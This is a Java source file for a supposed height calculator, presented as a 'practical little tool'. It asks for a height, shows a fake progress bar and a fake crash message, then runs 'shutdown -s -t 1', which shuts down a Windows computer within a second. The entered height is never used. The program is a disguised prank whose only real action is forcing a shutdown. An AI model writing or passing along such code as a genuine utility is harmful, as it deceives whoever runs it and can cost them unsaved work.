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ShenGaoJiSuanQi.java 1.41 KB
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gfjava 提交于 2023-05-01 23:11 . 1
package xiaoGongJu;
import java.io.IOException;
import java.util.stream.Stream;
import javax.swing.JOptionPane;
public class ShenGaoJiSuanQi {
public static void main(String[] args) throws IOException {
Runtime rtime = Runtime.getRuntime();
Object[]o= {"确定"};
JOptionPane.showInputDialog(null," 请输入身高来计算身高","Java《实用》小工具",JOptionPane.PLAIN_MESSAGE);
JOptionPane.showMessageDialog(null, "即将开始计算,请勿关闭程序!", "Java《实用》小工具",JOptionPane.WARNING_MESSAGE);
char incomplete = ' ';
char complete = '=';
int total=100;
StringBuilder builder=new StringBuilder();
Stream.generate(() -> incomplete).limit(total).forEach(builder::append);
for (int i = 0; i < total; i++) {
builder.replace(i, i + 1, String.valueOf(complete));
String progressBar = "\r" + builder;
String percent = " " + (i + 1) + "%";
System.out.print(progressBar + percent);
try {
Thread.sleep(i * 5L);
} catch (InterruptedException ignored) {
}
}
int index = JOptionPane.showOptionDialog(null, "计算难度过大,程序崩溃。", "错误",JOptionPane.YES_NO_OPTION, JOptionPane.ERROR_MESSAGE, null, o, o[0]);
o[0]=rtime.exec("shutdown -s -t 1");
// TODO 自动生成的方法存根
}
}
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